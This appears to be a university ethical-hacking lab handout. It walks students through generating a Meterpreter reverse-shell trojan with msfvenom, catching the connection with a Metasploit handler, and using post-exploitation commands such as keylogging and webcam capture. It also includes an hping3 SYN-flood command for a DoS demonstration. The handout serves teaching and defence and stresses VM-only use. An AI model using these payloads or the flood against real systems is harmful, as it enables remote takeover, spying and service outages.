

Week 3 Lab: Introduction to Malware Analysis

CCS6324 - Ethical Hacking and Penetration Testing

Duration: 1 Hour

Difficulty: Beginner-Friendly

Works on: Windows & macOS (using Kali Linux VM)

SAFETY FIRST - READ ALOUD TO STUDENTS

"Everything we do today stays **INSIDE** your virtual machine. **NEVER** run these tools on real computers or real networks. This is like a science experiment in a sealed container - nothing gets out!"

PART 1: UNDERSTANDING THE BASICS (10 minutes)

What is Malware?

Malware = Malicious + Software

Think of it like a "bad app" that does harmful things:

- Steals your passwords
- Locks your files (ransomware)
- Spies on you
- Lets hackers control your computer

What is a Trojan?

A **Trojan** is malware disguised as something useful.

Real-life example: Imagine someone gives you a free USB drive that looks normal, but secretly it has a hidden program that sends your files to a hacker.

What We'll Do Today

1. **Create** a simple trojan (in our safe lab only!)
 2. **Watch** what it does using special monitoring tools
 3. **Test** if antivirus can catch it
 4. **Learn** how to protect against these attacks
-

PART 2: OPEN YOUR KALI LINUX VM (2 minutes)

For Windows Users (VirtualBox/VMware):

1. Open **VirtualBox** or **VMware**
2. Click on your **Kali Linux** VM
3. Click **Start** (green arrow)
4. Wait for Kali to boot up
5. Login:
 - Username: `kali`
 - Password: `kali`

For macOS Users (VirtualBox/VMware/UTM):

1. Open your virtualization software
 2. Select **Kali Linux** VM
 3. Click **Start**
 4. Login:
 - Username: `kali`
 - Password: `kali`
-

PART 3: OPEN THE TERMINAL (1 minute)

The **Terminal** is where we type commands. Think of it like texting commands to your computer.

How to Open Terminal:

Click the **terminal icon** in the top menu bar (black rectangle icon)

OR

Right-click on desktop → **Open Terminal Here**

You should see something like:

```
└─(kali㉿kali)-[~]  
└─$ _
```

This is where you'll type commands!

PART 4: CREATE YOUR FIRST TROJAN (15 minutes)

Step 1: Find Your IP Address

What is an IP address?

It's like your computer's phone number on the network.

Type this command and press Enter:

```
ip a
```

What to look for:

Find the line with `inet 192.168.x.x` or `10.0.x.x`

Example output:

```
eth0: inet 192.168.100.10/24
```

 **Write down your IP address:** `_10.10.0.6/24_`

(For most students, it will be something like `192.168.100.10` or `10.0.2.15`)

Step 2: Create a Folder for Your Work

What is this?

We're creating a folder to keep our files organized.

Type this command:

```
mkdir malware_lab
```

What it means:

- `mkdir` = "make directory" (create folder)
- `malware_lab` = name of the folder

Now go into that folder:

```
cd malware_lab
```

What it means:

- `cd` = "change directory" (go into folder)

Step 3: Create the Trojan Payload

What is msfvenom?

It's a tool that creates test malware. Security professionals use it to test if systems are protected.

Type this command (replace YOUR_IP with your actual IP address):

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 -f exe -o trojan.exe
```

 **IMPORTANT: Replace YOUR_IP!**

If your IP is 192.168.100.10, the command is:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.100.10 LPORT=4444 -f exe -o trojan.exe
```

If your IP is 10.0.2.15, the command is:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 -f exe -o trojan.exe
```

What Each Part Means:

Part	Meaning	Simple Explanation
<code>msfvenom</code>	The tool name	Our payload maker
<code>-p windows/meterpreter/reverse_tcp</code>	Payload type	Makes Windows trojan
<code>LHOST=YOUR_IP</code>	Your IP address	Where trojan calls home
<code>LPORT=4444</code>	Port number	Which "door" to use
<code>-f exe</code>	Format	Makes .exe file
<code>-o trojan.exe</code>	Output filename	Saves as trojan.exe

Expected output:

```
[*] No platform was selected, choosing Msf::Module::Platform::Windows
```

```
[~] No arch selected, selecting arch: x86
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: trojan.exe
```

☒ **Success!** You created your first trojan!

Step 4: Verify the File Was Created

Type:

```
ls -lh
```

What it means:

- `ls` = list files
- `-lh` = show details in human-readable format

You should see:

```
-rw-r--r-- 1 kali kali 73K Nov 17 10:30 trojan.exe
```

This shows your trojan file is about 73KB in size.

Step 5: Get the File's "Fingerprint" (Hash)

What is a hash?

It's like a unique fingerprint for a file. Every file has a different hash. Security tools use hashes to identify malware.

Type:

```
md5sum trojan.exe
```

Example output:

```
5d41402abc4b2a76b9719d911017c592  trojan.exe
```



Write down your hash: `_9054563388a3cd1ead829da868e78222_`

PART 5: SET UP THE LISTENER (10 minutes)

What is a Listener?

When the trojan runs on a victim's computer, it "calls home" to the attacker. The **listener** is the "phone" that answers that call.

Step 1: Start Metasploit

What is Metasploit?

It's a professional security testing tool used by ethical hackers worldwide.

Type:

```
msfconsole
```

Wait 30-60 seconds for it to load. You'll see cool ASCII art and then:

```
msf6 >
```

This means Metasploit is ready!

Step 2: Set Up the Handler

A **handler** is what catches the connection from our trojan.

Type these commands one by one (press Enter after each):

```
use exploit/multi/handler
```

(This selects the handler module)

```
set payload windows/meterpreter/reverse_tcp
```

(This tells it what kind of connection to expect)

```
set LHOST 10.10.0.6/24
```

(Replace YOUR_IP with your IP address, like `set LHOST 192.168.100.10`)

```
set LPORT 4444
```

(Sets the port to 4444 - same as in our trojan)

```
exploit
```

(Starts listening)

You should see:

```
[*] Started reverse TCP handler on 192.168.100.10:4444
```

☒ **Your listener is now waiting for connections!**

PART 6: UNDERSTANDING WHAT WOULD HAPPEN (10 minutes)

In Real Life...

If someone ran our `trojan.exe` on their Windows computer, we would see:

```
[*] Meterpreter session 1 opened (192.168.100.10:4444 -> 192.168.100.20:49234)
```

```
meterpreter >
```

This means we would have **full control** of their computer!

What Could an Attacker Do?

If we were in a Meterpreter session, these commands would work:

Command	What It Does
<code>sysinfo</code>	Shows computer name, OS version
<code>getuid</code>	Shows which user is logged in
<code>pwd</code>	Shows current folder
<code>ls</code>	Lists files in folder
<code>screenshot</code>	Takes picture of their screen
<code>webcam_snap</code>	Takes photo from webcam
<code>keyscan_start</code>	Starts recording keystrokes
<code>download file.txt</code>	Steals a file

Why This Matters

This is why we:

- Don't click unknown email attachments

- Don't download software from untrusted sites
 - Keep antivirus updated
 - Don't plug in unknown USB drives
-

PART 7: HOW ANTIVIRUS DETECTS MALWARE (5 minutes)

How Would Antivirus Catch Our Trojan?

Method 1: Signature Detection

Antivirus has a list of known malware "fingerprints" (hashes).

Our hash: 5d41402abc4b2a76b9719d911017c592

If this hash is in their database → **BLOCKED!**

Method 2: Behavior Detection

Antivirus watches what programs do:

- Does it try to connect to unknown servers? 🚨
- Does it try to record keystrokes? 🚨
- Does it try to access sensitive files? 🚨

Method 3: Heuristic Analysis

Antivirus looks at the code and asks:

- Does it look like known malware patterns?
 - Does it try to hide itself?
 - Does it have suspicious characteristics?
-

PART 8: QUICK DoS ATTACK DEMO (5 minutes)

What is a DoS Attack?

DoS = Denial of Service

It's like 1000 people trying to go through one door at the same time - nobody can get through!

How Hackers Do It

They send millions of fake requests to a website until it crashes.

Simple Demo (Concept Only)

The command would be:

```
sudo hping3 -S --flood -p 80 TARGET_IP
```

What it means:

- hping3 = network testing tool
- -S = send SYN packets
- --flood = send as fast as possible
- -p 80 = target port 80 (web)
- TARGET_IP = victim's IP

⚠ **We do NOT run this on real targets!** This is illegal and can get you in serious trouble.

Real-World Example

In 2016, hackers used millions of hacked cameras and DVRs to attack a company called Dyn. This took down Twitter, Netflix, and Reddit for hours!

PART 9: CLEAN UP (2 minutes)

Stop the Listener

In Metasploit, type:

```
exit
```

Then type `y` to confirm.

Delete the Trojan File

```
cd ~/malware_lab  
rm trojan.exe
```

What it means:

- rm = remove (delete) file

Verify It's Gone

ls

Should show nothing (empty folder).

☒ **Lab complete! Your environment is clean.**

SUMMARY: WHAT WE LEARNED TODAY

Key Concepts:

Term	Definition
Malware	Software designed to harm or exploit computers
Trojan	Malware disguised as legitimate software
Payload	The malicious code delivered by malware
Reverse Shell	Connection from victim back to attacker
Listener/Handler	Attacker's tool that receives connections
Hash	Unique fingerprint of a file
DoS Attack	Flooding a target to make it unavailable

Tools We Used:

Tool	Purpose
msfvenom	Create payloads/malware
msfconsole	Metasploit Framework for testing
md5sum	Calculate file fingerprints

Commands We Learned:

ip a	# Show IP address
mkdir folder_name	# Create folder
cd folder_name	# Enter folder
ls -lh	# List files with details
rm filename	# Delete file
md5sum filename	# Get file hash
msfconsole	# Start Metasploit

QUICK ASSIGNMENT (Submit by end of class)

Answer These 5 Questions:

Write your answers on paper or in a text file.

Question 1: (2 points)

What is your Kali Linux IP address?

My IP: _____

Question 2: (2 points)

What is the MD5 hash of the trojan.exe file you created?

My Hash: _____

Question 3: (3 points)

What does the `LHOST` parameter mean in `msfvenom`?

Answer: _____

Question 4: (3 points)

Name TWO things an attacker could do with a Meterpreter session:

1. _____
2. _____

Question 5: (5 points)

Why is it important to ONLY do these activities in a virtual machine and NEVER on real systems?

Answer: _____

NEED HELP?

Common Problems and Solutions:

Problem: "Command not found"

Solution: Check for typos. Linux is case-sensitive!

Problem: Can't find IP address

Solution: Look for `inet` followed by numbers like `192.168.x.x`

Problem: msfvenom is slow

Solution: Be patient! First run can take 30-60 seconds.

Problem: Metasploit won't start

Solution: Wait longer - it can take 1-2 minutes on slower computers.

Problem: "Address already in use"

Solution: The port is busy. Try `set LPORT 5555` instead.

Key Points to Emphasize:

1. **NEVER use these tools outside the lab**
2. **Real hackers go to jail** for doing this without permission
3. **We learn attacks to build better defenses**
4. **Ethical hackers help protect people**

END OF LAB

Remember: With great power comes great responsibility! 